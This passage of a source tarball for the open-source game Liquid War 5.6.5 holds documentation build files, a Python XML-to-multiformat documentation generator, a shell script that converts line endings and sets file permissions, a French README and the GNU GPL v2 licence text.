$@; fi dummy: clean: @rm -f *~ */*~ @rm -f makedoc.pyc @rm -f $(HTML_FILES) $(PHP_FILES) $(TEX_FILES) $(MAN_FILES) $(TXT_FILES) $(TEXI_FILES) $(UWC_FILES) @rm -f tex/liquidwar.toc tex/liquidwar.log tex/liquidwar.dvi tex/liquidwar.aux ps/liquidwar.ps pdf/liquidwar.pdf man/liquidwar.6 man/liquidwar.6.gz man/liquidwar-server.6.gz man/liquidwar-mapgen.6.gz man/liquidwar.man info/liquidwar.info* texi/liquidwar.texi texi/liquidwar.info* distclean: @rm -f Makefile @rm -f tex/liquidwar.tex man/begin.man texi/begin.texi html/index.html config: check: @xmllint --valid --noout xml/*.xml dep: liquidwar-5.6.5/doc/html/0000775000372000037200000000000013407756104014652 5ustar travistravisliquidwar-5.6.5/doc/html/index.html.in0000664000372000037200000000306513407756104017260 0ustar travistravis Liquid War - a unique multiplayer wargame

Liquid War - a unique multiplayer wargame

v@VERSION@

Hello!

Thanks for taking interest in Liquid War. This documentation should help you to understand and use Liquid War.

It is also available:


Table of contents


This documentation is also available on: www.ufoot.org/liquidwar/v5.
liquidwar-5.6.5/doc/html/footer.inc0000664000372000037200000000021113407756104016635 0ustar travistravis
This documentation is also available on: www.ufoot.org/liquidwar/v5.
liquidwar-5.6.5/doc/html/header.inc0000664000372000037200000000123413407756104016575 0ustar travistravis
Home | Rules | Authors | Mailing lists | Fanfic | Menus and hot keys | Network game | Command line parameters | Platform specific issues | User levels | Core algorithm | Source code | Bugs | To do | WIP | Copying

liquidwar-5.6.5/doc/README0000664000372000037200000000407213407756104014571 0ustar travistravisThis documentation is written in XML. Basically, a Python program (makedoc.py) is used to parse the xml source files, and generate a formatted output in another format. There are already several tools already available which can do this, among them sgmltools, which is based on docbook. So you might wonder: why did I write my own doc generator? Well, there are several reasons: 1 - it was a good excuse to write Python code. I'm very interested in Python but could not find anything to do with it until I realize it could help me at generating documentation. 2 - docbook is too big for me to learn. I do not have time nor motivation to learn such a complex DTD. Besides, when I write docs, I like to concentrate on the contents. The "DTD" (a very small one indeed) I use is *really* basic, so writting docs is really an easy and quick task for me. 3 - sgmltools was not flexible enough for me. Indeed, I use my little doc generator to create some of the pages of https://ufoot.org. Therefore I the parser to be able to generate pages with a given look and feel, and for instance I do not like the "prev" and "next" buttons generated on HTML pages by sgmltools. Rather than wasting time trying to get rid of those, I just wrote my own simple generator. 4 - I love programming. Just can't help it. I feel frustrated when I use a ready-to-use product 8-) The following formats can be generated: - html : browsable doc - ps : printable doc (an intermediate dvi file is also available) - pdf : printable doc for Microsoft platforms, with poor ps support - txt : universal reference, readable on *any* computer - man : doc for die-hard man-page users =8-) - texi : texinfo doc (the GNU projet documentation format) - php : what I upload on https://ufoot.org Note that the parser currently uses xmllib, which is shipped with Python 1.5.2 but is marked as deprecated in Python 2.x. I don't feel the need to upgrade my scripts since Python 2.x is not as common as Python 1.5.2 yet, and besides I don't really enjoy touching code when it already works... liquidwar-5.6.5/doc/php3/0000775000372000037200000000000013407756104014560 5ustar travistravisliquidwar-5.6.5/doc/php3/DUMMY0000664000372000037200000000011713407756104015375 0ustar travistravisThis is a dummy file so that the directory is created when exporting from CVS. liquidwar-5.6.5/doc/pdf/0000775000372000037200000000000013407756104014457 5ustar travistravisliquidwar-5.6.5/doc/pdf/DUMMY0000664000372000037200000000011713407756104015274 0ustar travistravisThis is a dummy file so that the directory is created when exporting from CVS. liquidwar-5.6.5/doc/texi/0000775000372000037200000000000013407756104014657 5ustar travistravisliquidwar-5.6.5/doc/texi/end.texi0000664000372000037200000000000713407756104016315 0ustar travistravis @bye liquidwar-5.6.5/doc/texi/begin.texi.in0000664000372000037200000000161513407756104017246 0ustar travistravis\input texinfo @settitle Liquid War documentation @ifinfo @direntry * Liquid War: (liquidwar). A unique multiplayer wargame (Version @VERSION@). @end direntry @end ifinfo @node Top, , (dir), (dir) Liquid War is a multiplayer wargame. Its rules are very simple but yet original. @menu * rules:: Rules * authors:: Authors * mailinglists:: Mailing lists * fanfic:: Fanfic * options:: Menus and hot keys * network:: Network game * parameters:: Command line parameters * platforms:: Platform specific issues * userlevels:: User levels * algorithm:: Core algorithm * source:: Source code * bugs:: Bugs * todo:: To do * wip:: Work in progress * copying:: Copying @end menu liquidwar-5.6.5/doc/info/0000775000372000037200000000000013407756104014641 5ustar travistravisliquidwar-5.6.5/doc/info/DUMMY0000664000372000037200000000011713407756104015456 0ustar travistravisThis is a dummy file so that the directory is created when exporting from CVS. liquidwar-5.6.5/doc/uwc/0000775000372000037200000000000013407756104014504 5ustar travistravisliquidwar-5.6.5/doc/uwc/DUMMY0000664000372000037200000000011713407756104015321 0ustar travistravisThis is a dummy file so that the directory is created when exporting from CVS. liquidwar-5.6.5/doc/ps/0000775000372000037200000000000013407756104014330 5ustar travistravisliquidwar-5.6.5/doc/ps/DUMMY0000664000372000037200000000011713407756104015145 0ustar travistravisThis is a dummy file so that the directory is created when exporting from CVS. liquidwar-5.6.5/doc/makedoc.py0000664000372000037200000004232713407756104015673 0ustar travistravis# Got this script from Liquid War, pathed to be able # to transform XML docs into uwikicms content. # Note that this code used to use the xmllib module # which came with python 1.6, however it's now # deprecated so I use sax instead. Point is it wasn't # designed for sax in the first place, and I haven't # much time nor interest to code this, and the direct # consequence is that the code is ugly. I know. import xml.sax import string import re def remove_duplicate_blanks(text): result=text result=string.replace(result,"\t"," ") result=string.replace(result,"\n"," ") if (result!=""): temp="" while temp!=result: temp=result result=string.replace(result," "," ") return result def format_text(text,left_col,right_col): temp=remove_duplicate_blanks(text) result="" p=0 l=len(temp) while p0: if cur_line[i]==' ': break i=i-1 if i>0: cur_line=cur_line[0:i] dp=i+1 if 0==1: #the following code justifies the text, it is disabled j=i-1 while len(cur_line)0 and cur_line[j-1]==' ': j=j-1 cur_line=cur_line[:j]+' '+cur_line[j:] j=j-1 if j<0: j=len(cur_line)-1 result=result+" "*left_col+cur_line+"\n" p=p+dp return result def format_email_and_url(text): result=text email=re.compile('"([\w\-\.]+@[\w\-\.]+)"') result=email.sub(r'\1',result); url=re.compile('"http://([\w\-\.\~/]+)"', re.I) result=url.sub(r'http://\1',result); return result def format_html(text): result=text result=string.replace(result,"<","ufoot_html_lt") result=string.replace(result,">","ufoot_html_gt") result=string.replace(result,"&","&") result=string.replace(result,"ufoot_html_lt","<") result=string.replace(result,"ufoot_html_gt",">") # Uncomment this to make mailing list adresses look like "xxx at xxx" # instead of "xxx@xxx". This can prevent spammers from harvesting # the mailing list address # fakeemail=re.compile('"([\w\.]+\-user)@([\w\-\.]+)"') # result=fakeemail.sub(r'\1 at \2 (replace "at" by "@")',result); email=re.compile('"([\w\-\.]+@[\w\-\.]+)"') result=email.sub(r'\1',result); url=re.compile('"http://([\w\-\.\~/]+)"', re.I) result=url.sub(r'\1',result); return result def format_tex(text): result=text result=string.replace(result,"\\","$\\backslash$") result=string.replace(result,"_","\\_") result=string.replace(result,"#","\\#") result=string.replace(result,"%","\\%") result=string.replace(result,"}","\\}") result=string.replace(result,"<","$<$") result=string.replace(result,">","$>$") result=string.replace(result,"~","$\\tilde{}$") return result def format_texi(text): result=text result=string.replace(result,"@","@@") result=string.replace(result,"}","@}") result=string.replace(result,"{","@{") return result def format_uwc(text): result=text result=string.replace(result,"]","]") result=string.replace(result,"[","[[") return result def format_uwc_text(text): result=text result=format_uwc(result) # This is an ugly way to get rid of all junk at line start result=format_text(result,0,999999) return result def format_uwc_elem(text): result=text result=format_uwc(result) result=string.replace(result,"\n"," ") result=string.replace(result,"\r"," ") result=remove_duplicate_blanks(result) return result def format_uwc_code(text): result=text result=format_uwc(result) line=re.compile('^(.*)$',re.M) result=line.sub(r" \1",result); return result class XMLToX(xml.sax.ContentHandler): def __init__(self): xml.sax.ContentHandler.__init__(self) self.charbuf="" self.translated="" self.stack=[] def write(self,text): self.translated=self.translated+text def start_file(self,title): pass def start_chap(self,title): pass def start_part(self,title): pass def start_text(self): pass def start_list(self): pass def start_elem(self): pass def start_code(self): pass def end_file(self): pass def end_chap(self): pass def end_part(self): pass def end_text(self): pass def end_list(self): pass def end_elem(self): pass def end_code(self): pass def startElement(self,tag,attributes): self.charbuf="" self.stack.append(tag) if tag=="file": self.start_file(attributes["title"]) if tag=="chap": self.start_chap(attributes["title"]) if tag=="part": self.start_part(attributes["title"]) if tag=="text": self.start_text() if tag=="list": self.start_list() if tag=="elem": self.start_elem() if tag=="code": self.start_code() def endElement(self,tag): data=string.strip(self.charbuf) if (data!=""): self.write(self.translate(data,self.stack[-1])) self.charbuf="" self.stack=self.stack[:-1] if tag=="file": self.end_file() elif tag=="chap": self.end_chap() elif tag=="part": self.end_part() elif tag=="text": self.end_text() elif tag=="list": self.end_list() elif tag=="elem": self.end_elem() elif tag=="code": self.end_code() def translate(self,data,tag): return data def characters(self,data): self.charbuf+=data class XMLToHTML(XMLToX): def __init__(self,header,footer): XMLToX.__init__(self) self.header=header self.footer=footer def start_file(self,title): self.write("\n"+\ "\n\n"+\ "\n"+\ ""+\ title+\ "\n\n\n\n"+\ self.header+\ "\n

"+\ title+\ "

\n") def start_chap(self,title): self.write("
\n

"+\ title+\ "

\n") def start_part(self,title): self.write("

"+\ title+\ "

\n") def start_text(self): self.write("

") def start_list(self): self.write("

    ") def start_elem(self): self.write("
  • ") def start_code(self): self.write("
    ")
        def end_file(self):
            self.write(self.footer+\
                       "\n\n\n")
        def end_chap(self):
            self.write("\n")
        def end_part(self):
            self.write("\n")
        def end_text(self):
            self.write("

    \n") def end_list(self): self.write("
\n") def end_elem(self): self.write("\n") def end_code(self): self.write("\n") def translate(self,data,tag): result=data result=format_html(result) return result class XMLToPHP(XMLToX): def __init__(self): XMLToX.__init__(self) def start_file(self,title): self.write("\n\n\n\n"+\ "
\n

"+\ title+\ "

\n
\n") def start_chap(self,title): self.write("
\n

"+\ title+\ "

\n") def start_part(self,title): self.write("

"+\ title+\ "

\n") def start_text(self): self.write("

") def start_list(self): self.write("

    ") def start_elem(self): self.write("
  • ") def start_code(self): self.write("
    ")
        def end_file(self):
            self.write("\n\n\n\n")
        def end_chap(self):
            self.write("\n")
        def end_part(self):
            self.write("\n")
        def end_text(self):
            self.write("

    \n") def end_list(self): self.write("
\n") def end_elem(self): self.write("\n") def end_code(self): self.write("\n") def translate(self,data,tag): result=data result=format_html(result) return result class XMLToTeX(XMLToX): def __init__(self): XMLToX.__init__(self) def start_file(self,title): self.write("\\chapter{"+\ self.translate(title,"text")+\ "}\n") def start_chap(self,title): self.write("\\section{"+\ self.translate(title,"text")+\ "}\n") def start_part(self,title): self.write("\\subsection{"+\ self.translate(title,"text")+\ "}\n") def start_text(self): self.write("\n") def start_list(self): self.write("\\begin{itemize}\n") def start_elem(self): self.write("\\item[$\\bullet$]") def start_code(self): self.write("\\begin{verbatim}\n") def end_file(self): self.write("") def end_chap(self): self.write("\n") def end_part(self): self.write("\n") def end_text(self): self.write("\n") def end_list(self): self.write("\\end{itemize}\n") def end_elem(self): self.write("\n") def end_code(self): self.write("\n\\end{verbatim}\n") def translate(self,data,tag): result=data result=format_email_and_url(result) if (tag!="code"): result=format_tex(result) return result class XMLToMan(XMLToX): def __init__(self): XMLToX.__init__(self) def start_file(self,title): self.write(".SH "+title+"\n\n") def start_chap(self,title): self.write(".SS "+title+"\n\n") def start_part(self,title): self.write(".TP 0 \n.B "+title+"\n") def start_text(self): self.write(".HP 0\n") def start_list(self): self.write("") def start_elem(self): self.write(".TP 3 \n.B *\n") def start_code(self): self.write(".HP 0\n") def end_file(self): self.write("") def end_chap(self): self.write("\n") def end_part(self): self.write("\n") def end_text(self): self.write("\n") def end_list(self): self.write("\n") def end_elem(self): self.write("\n") def end_code(self): self.write("\n") def translate(self,data,tag): result=data result=format_email_and_url(result) result=string.replace(result,"\\","\\\\") result=string.replace(result,".","\.") result=string.replace(result,"-","\-") if (tag=="code"): result=string.replace(result,"\n","\n.br\n") else: result=remove_duplicate_blanks(result) return result class XMLToTxt(XMLToX): def __init__(self,header): XMLToX.__init__(self) self.header=header def start_file(self,title): self.write(self.header+" - "+title+"\n\n") self.indent=0 def start_chap(self,title): self.write("\n\n"+\ " "*self.indent+"\n"+title+"\n"+\ " "*self.indent+"="*len(title)+"\n\n") self.indent=self.indent+2 def start_part(self,title): self.write("\n"+\ " "*self.indent+title+"\n"+\ " "*self.indent+"-"*len(title)+"\n") self.indent=self.indent+2 def start_text(self): self.write("\n") def start_list(self): self.write("") self.indent=self.indent+2 def start_elem(self): self.write("\n") def start_code(self): self.write("\n") def end_file(self): self.write("\n") def end_chap(self): self.write("") self.indent=self.indent-2 def end_part(self): self.write("") self.indent=self.indent-2 def end_text(self): self.write("") def end_list(self): self.write("") self.indent=self.indent-2 def end_elem(self): self.write("") def end_code(self): self.write("\n") def translate(self,data,tag): result=data result=format_email_and_url(result) if (tag=="code"): result=" "*self.indent+\ string.replace(result,"\n","\n"+" "*self.indent) else: result=format_text(result,self.indent,80) if (tag=="elem"): result=" "*(self.indent-2)+"* "+result[self.indent:] return result class XMLToTexi(XMLToX): def __init__(self,node): XMLToX.__init__(self) self.node=node def start_file(self,title): self.write("\n@node "+self.node+" , , , Top\n") self.write("\n@chapter "+title+"\n"); def start_chap(self,title): self.write("\n@section "+title+"\n"); def start_part(self,title): self.write("\n@subsection "+title+"\n"); def start_text(self): self.write("\n") def start_list(self): self.write("\n@itemize @bullet") def start_elem(self): self.write("\n@item\n") def start_code(self): self.write("\n@example\n") def end_file(self): self.write("\n") def end_chap(self): self.write("\n") def end_part(self): self.write("\n") def end_text(self): self.write("\n") def end_list(self): self.write("@end itemize\n") def end_elem(self): self.write("\n") def end_code(self): self.write("\n@end example\n") def translate(self,data,tag): result=data result=format_email_and_url(result) if (tag!="code"): result=remove_duplicate_blanks(result) result=format_texi(result) return result class XMLToUWC(XMLToX): def __init__(self): XMLToX.__init__(self) def start_file(self,title): # In UWikKiCMS document is handled manually once for # all directly in the UWiKiCMS site/instance. pass def start_chap(self,title): self.write("\n!! "+title+"\n"); def start_part(self,title): self.write("\n! "+title+"\n"); def start_text(self): self.write("\n") def start_list(self): self.write("\n") def start_elem(self): self.write("\n* ") def start_code(self): self.write("\n") def end_file(self): self.write("\n") def end_chap(self): self.write("\n") def end_part(self): self.write("\n") def end_text(self): self.write("\n") def end_list(self): self.write("\n") def end_elem(self): # No \n for we do not want blank lines between elems pass def end_code(self): self.write("\n") def translate(self,data,tag): result=data result=format_email_and_url(result) if (tag=="code"): result=format_uwc_code(result) elif (tag=="elem"): result=format_uwc_elem(result) else: result=format_uwc_text(result) return result def run_parser(handler,dst,src): dst_file=open(dst,"w") src_file=open(src,"r") #src_code=src_file.read() parser=xml.sax.make_parser() parser.setContentHandler(handler) parser.parse(src_file) dst_code=handler.translated dst_file.write(dst_code.encode("iso-8859-1")) src_file.close() dst_file.close() def make_html(html_file,xml_file,header,footer): header_file=open(header,"r") footer_file=open(footer,"r") header_str=header_file.read() footer_str=footer_file.read() handler=XMLToHTML(header_str,footer_str) run_parser(handler,html_file,xml_file) header_file.close() footer_file.close() def make_php(php_file,xml_file): parser=xml.sax.make_parser() handler=(XMLToPHP()) run_parser(handler,php_file,xml_file) def make_tex(tex_file,xml_file): parser=xml.sax.make_parser() handler=XMLToTeX() run_parser(handler,tex_file,xml_file) def make_man(man_file,xml_file): parser=xml.sax.make_parser() handler=XMLToMan() run_parser(handler,man_file,xml_file) def make_txt(txt_file,xml_file,header): parser=xml.sax.make_parser() handler=XMLToTxt(header) run_parser(handler,txt_file,xml_file) def make_texi(texi_file,xml_file): node=string.replace(xml_file,".xml","") node=string.replace(node,"xml/","") parser=xml.sax.make_parser() handler=XMLToTexi(node) run_parser(handler,texi_file,xml_file) def make_uwc(uwc_file,xml_file): parser=xml.sax.make_parser() handler=XMLToUWC() run_parser(handler,uwc_file,xml_file) liquidwar-5.6.5/fix.sh0000775000372000037200000000440313407756104014267 0ustar travistravis#!/bin/sh # # This script has been ripped from the Allegro game library. # It handles the CR/LF in the text files so that there are # no conflicts between DOS/Windows and UNIX text readers. proc_help() { echo "Usage: ./fix.sh {unix|dos}" exit 1 } proc_fix_unix() { proc_filelist FILELIST="$FILELIST `find . -type f "(" \ -name "*.sh" -o \ -name "*.in" -o \ -name "config.guess" -o \ -name "config.sub" -o \ -name "install-sh" -o \ -name "liquidward" \ ")"`" proc_dtou proc_chmod } proc_fix_dos() { proc_filelist FILELIST="$FILELIST `find . -type f "(" \ -name "*.bat" -o \ -name "*.js" \ ")"`" proc_utod } proc_filelist() { # common files. FILELIST=`find . -type f "(" \ -name "*.c" -o \ -name "*.h" -o \ -name "*.s" -o \ -name "*.txt" -o \ -name "*.xml" -o \ -name "*.html" -o \ -name "*.tex" -o \ -name "*.texi" -o \ -name "*.man" -o \ -name "*.py" -o \ -name "*.win" -o \ -name "*.dos" -o \ -name "ALLEGRO" -o \ -name "COPYING" -o \ -name "INSTALL" -o \ -name "README" -o \ -name "README.*" -o \ -name "ChangeLog" \ ")"` } proc_chmod() { echo "Changing file attributes..." find . -type d | xargs chmod 755 find . -type f | xargs chmod 644 find . -type f "(" \ -name "configure" -o \ -name "config.status" -o \ -name "config.guess" -o \ -name "config.sub" -o \ -name "install-sh" -o \ -name "*.sh" -o \ -name "liquidwar" -o \ -name "liquidwar-server" -o \ -name "liquidward" \ ")" | xargs chmod 755 } proc_utod() { echo "Converting files from Unix to DOS/Win32..." for file in $FILELIST; do #echo "$file" cp $file _tmpfile perl -p -i -e "s/([^\r]|^)\n/\1\r\n/" _tmpfile touch -r $file _tmpfile mv _tmpfile $file done } proc_dtou() { echo "Converting files from DOS/Win32 to Unix..." for file in $FILELIST; do #echo "$file" mv $file _tmpfile tr -d '\015' < _tmpfile > $file touch -r _tmpfile $file rm _tmpfile done } # prepare allegro for the given platform. case "$1" in "unix" ) proc_fix_unix;; "dos" ) proc_fix_dos;; * ) proc_help;; esac echo "Done!" exit 0 liquidwar-5.6.5/README.fr0000664000372000037200000000321013407756104014423 0ustar travistravisLiquid War est un "wargame" multijoueur inédit. Ses règles sont vraiment originales et ont été inventées par Thomas Colcombet. L'idée est de contrôler une armée de liquide et d'essayer de "manger" ses adversaires. Il est possible de jouer seul, mais le jeux est conçu pour se jouer à plusieurs, un mode réseau étant disponible. Site web de Liquid War : https://ufoot.org/liquidwar/v5 Pour contacter l'auteur : ufoot@ufoot.org Si vous avez des questions ou des remarques à propos de Liquid War, vous pouvez obtenir de l'aide et des infos sur la liste de diffusion "Liquid War user", mais attention, on y parle anglais : http://mail.nongnu.org/mailman/listinfo/liquidwar-user Bonne journée, U-Foot -------------- I N F O R M A T I O N S L E G A L E S ------------- Liquid War est un "wargame" multijoueur. Copyright (C) 1998-2018 Christian Mauduit (ufoot@ufoot.org) Ce programme est un logiciel libre ; vous pouvez le redistribuer et/ou le modifier conformément aux dispositions de la Licence Publique Générale GNU, telle que publiée par la Free Software Foundation ; version 2 de la licence, ou encore (à votre choix) toute version ultérieure. Ce programme est distribué dans l'espoir qu'il sera utile, mais SANS AUCUNE GARANTIE ; sans même la garantie implicite de COMMERCIALISATION ou D'ADAPTATION A UN OBJET PARTICULIER. Pour plus de détail, voir la Licence Publique Générale GNU . Vous devez avoir reçu un exemplaire de la Licence Publique Générale GNU en même temps que ce programme ; si ce n'est pas le cas, écrivez à la Free Software Foundation Inc., 675 Mass Ave, Cambridge, MA 02139, Etats-Unis. liquidwar-5.6.5/COPYING0000664000372000037200000004313313407756104014200 0ustar travistravis GNU GENERAL PUBLIC LICENSE Version 2, June 1991 Copyright (C) 1989, 1991 Free Software Foundation, Inc. 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed. Preamble The licenses for most software are designed to take away your freedom to share and change it. By contrast, the GNU General Public License is intended to guarantee your freedom to share and change free software--to make sure the software is free for all its users. This General Public License applies to most of the Free Software Foundation's software and to any other program whose authors commit to using it. (Some other Free Software Foundation software is covered by the GNU Library General Public License instead.) You can apply it to your programs, too. When we speak of free software, we are referring to freedom, not price. Our General Public Licenses are designed to make sure that you have the freedom to distribute copies of free software (and charge for this service if you wish), that you receive source code or can get it if you want it, that you can change the software or use pieces of it in new free programs; and that you know you can do these things. To protect your rights, we need to make restrictions that forbid anyone to deny you these rights or to ask you to surrender the rights. These restrictions translate to certain responsibilities for you if you distribute copies of the software, or if you modify it. For example, if you distribute copies of such a program, whether gratis or for a fee, you must give the recipients all the rights that you have. You must make sure that they, too, receive or can get the source code. And you must show them these terms so they know their rights. We protect your rights with two steps: (1) copyright the software, and (2) offer you this license which gives you legal permission to copy, distribute and/or modify the software. Also, for each author's protection and ours, we want to make certain that everyone understands that there is no warranty for this free software. If the software is modified by someone else and passed on, we want its recipients to know that what they have is not the original, so that any problems introduced by others will not reflect on the original authors' reputations. Finally, any free program is threatened constantly by software patents. We wish to avoid the danger that redistributors of a free program will individually obtain patent licenses, in effect making the program proprietary. To prevent this, we have made it clear that any patent must be licensed for everyone's free use or not licensed at all. The precise terms and conditions for copying, distribution and modification follow. GNU GENERAL PUBLIC LICENSE TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION 0. This License applies to any program or other work which contains a notice placed by the copyright holder saying it may be distributed under the terms of this General Public License. The "Program", below, refers to any such program or work, and a "work based on the Program" means either the Program or any derivative work under copyright law: that is to say, a work containing the Program or a portion of it, either verbatim or with modifications and/or translated into another language. (Hereinafter, translation is included without limitation in the term "modification".) Each licensee is addressed as "you". Activities other than copying, distribution and modification are not covered by this License; they are outside its scope. The act of running the Program is not restricted, and the output from the Program is covered only if its contents constitute a work based on the Program (independent of having been made by running the Program). Whether that is true depends on what the Program does. 1. You may copy and distribute verbatim copies of the Program's source code as you receive it, in any medium, provided that you conspicuously and appropriately publish on each copy an appropriate copyright notice and disclaimer of warranty; keep intact all the notices that refer to this License and to the absence of any warranty; and give any other recipients of the Program a copy of this License along with the Program. You may charge a fee for the physical act of transferring a copy, and you may at your option offer warranty protection in exchange for a fee. 2. You may modify your copy or copies of the Program or any portion of it, thus forming a work based on the Program, and copy and distribute such modifications or work under the terms of Section 1 above, provided that you also meet all of these conditions: a) You must cause the modified files to carry prominent notices stating that you changed the files and the date of any change. b) You must cause any work that you distribute or publish, that in whole or in part contains or is derived from the Program or any part thereof, to be licensed as a whole at no charge to all third parties under the terms of this License. c) If the modified program normally reads commands interactively when run, you must cause it, when started running for such interactive use in the most ordinary way, to print or display an announcement including an appropriate copyright notice and a notice that there is no warranty (or else, saying that you provide a warranty) and that users may redistribute the program under these conditions, and telling the user how to view a copy of this License. (Exception: if the Program itself is interactive but does not normally print such an announcement, your work based on the Program is not required to print an announcement.) These requirements apply to the modified work as a whole. If identifiable sections of that work are not derived from the Program, and can be reasonably considered independent and separate works in themselves, then this License, and its terms, do not apply to those sections when you distribute them as separate works. But when you distribute the same sections as part of a whole which is a work based on the Program, the distribution of the whole must be on the terms of this License, whose permissions for other licensees extend to the entire whole, and thus to each and every part regardless of who wrote it. Thus, it is not the intent of this section to claim rights or contest your rights to work written entirely by you; rather, the intent is to exercise the right to control the distribution of derivative or collective works based on the Program. In addition, mere aggregation of another work not based on the Program with the Program (or with a work based on the Program) on a volume of a storage or distribution medium does not bring the other work under the scope of this License. 3. You may copy and distribute the Program (or a work based on it, under Section 2) in object code or executable form under the terms of Sections 1 and 2 above provided that you also do one of the following: a) Accompany it with the complete corresponding machine-readable source code, which must be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange; or, b) Accompany it with a written offer, valid for at least three years, to give any third party, for a charge no more than your cost of physically performing source distribution, a complete machine-readable copy of the corresponding source code, to be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange; or, c) Accompany it with the information you received as to the offer to distribute corresponding source code. (This alternative is allowed only for noncommercial distribution and only if you received the program in object code or executable form with such an offer, in accord with Subsection b above.) The source code for a work means the preferred form of the work for making modifications to it. For an executable work, complete source code means all the source code for all modules it contains, plus any associated interface definition files, plus the scripts used to control compilation and installation of the executable. However, as a special exception, the source code distributed need not include anything that is normally distributed (in either source or binary form) with the major components (compiler, kernel, and so on) of the operating system on which the executable runs, unless that component itself accompanies the executable. If distribution of executable or object code is made by offering access to copy from a designated place, then offering equivalent access to copy the source code from the same place counts as distribution of the source code, even though third parties are not compelled to copy the source along with the object code. 4. You may not copy, modify, sublicense, or distribute the Program except as expressly provided under this License. Any attempt otherwise to copy, modify, sublicense or distribute the Program is void, and will automatically terminate your rights under this License. However, parties who have received copies, or rights, from you under this License will not have their licenses terminated so long as such parties remain in full compliance. 5. You are not required to accept this License, since you have not signed it. However, nothing else grants you permission to modify or distribute the Program or its derivative works. These actions are prohibited by law if you do not accept this License. Therefore, by modifying or distributing the Program (or any work based on the Program), you indicate your acceptance of this License to do so, and all its terms and conditions for copying, distributing or modifying the Program or works based on it. 6. Each time you redistribute the Program (or any work based on the Program), the recipient automatically receives a license from the original licensor to copy, distribute or modify the Program subject to these terms and conditions. You may not impose any further restrictions on the recipients' exercise of the rights granted herein. You are not responsible for enforcing compliance by third parties to this License. 7. If, as a consequence of a court judgment or allegation of patent infringement or for any other reason (not limited to patent issues), conditions are imposed on you (whether by court order, agreement or otherwise) that contradict the conditions of this License, they do not excuse you from the conditions of this License. If you cannot distribute so as to satisfy simultaneously your obligations under this License and any other pertinent obligations, then as a consequence you may not distribute the Program at all. For example, if a patent license would not permit royalty-free redistribution of the Program by all those who receive copies directly or indirectly through you, then the only way you could satisfy both it and this License would be to refrain entirely from distribution of the Program. If any portion of this section is held invalid or unenforceable under any particular circumstance, the balance of the section is intended to apply and the section as a whole is intended to apply in other circumstances. It is not the purpose of this section to induce you to infringe any patents or other property right claims or to contest validity of any such claims; this section has the sole purpose of protecting the integrity of the free software distribution system, which is implemented by public license practices. Many people have made generous contributions to the wide range of software distributed through that system in reliance on consistent application of that system; it is up to the author/donor to decide if he or she is willing to distribute software through any other system and a licensee cannot impose that choice. This section is intended to make thoroughly clear what is believed to be a consequence of the rest of this License. 8. If the distribution and/or use of the Program is restricted in certain countries either by patents or by copyrighted interfaces, the original copyright holder who places the Program under this License may add an explicit geographical distribution limitation excluding those countries, so that distribution is permitted only in or among countries not thus excluded. In such case, this License incorporates the limitation as if written in the body of this License. 9. The Free Software Foundation may publish revised and/or new versions of the General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. Each version is given a distinguishing version number. If the Program specifies a version number of this License which applies to it and "any later version", you have the option of following the terms and conditions either of that version or of any later version published by the Free Software Foundation. If the Program does not specify a version number of this License, you may choose any version ever published by the Free Software Foundation. 10. If you wish to incorporate parts of the Program into other free programs whose distribution conditions are different, write to the author to ask for permission. For software which is copyrighted by the Free Software Foundation, write to the Free Software Foundation; we sometimes make exceptions for this. Our decision will be guided by the two goals of preserving the free status of all derivatives of our free software and of promoting the sharing and reuse of software generally. NO WARRANTY 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. END OF TERMS AND CONDITIONS How to Apply These Terms to Your New Programs If you develop a new program, and you want it to be of the greatest possible use to the public, the best way to achieve this is to make it free software which everyone can redistribute and change under these terms. To do so, attach the following notices to the program. It is safest to attach them to the start of each source file to most effectively convey the exclusion of warranty; and each file should have at least the "copyright" line and a pointer to where the full notice is found. Copyright (C) This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA Also add information on how to contact you by electronic and paper mail. If the program is interactive, make it output a short notice like this when it starts in an interactive mode: Gnomovision version 69, Copyright (C) year name of author Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'. This is free software, and you are welcome to redistribute it under certain conditions; type `show c' for details. The hypothetical commands `show w' and `show c' should show the appropriate parts of the General Public License. Of course, the commands you use may be called something other than `show w' and `show c'; they could even be 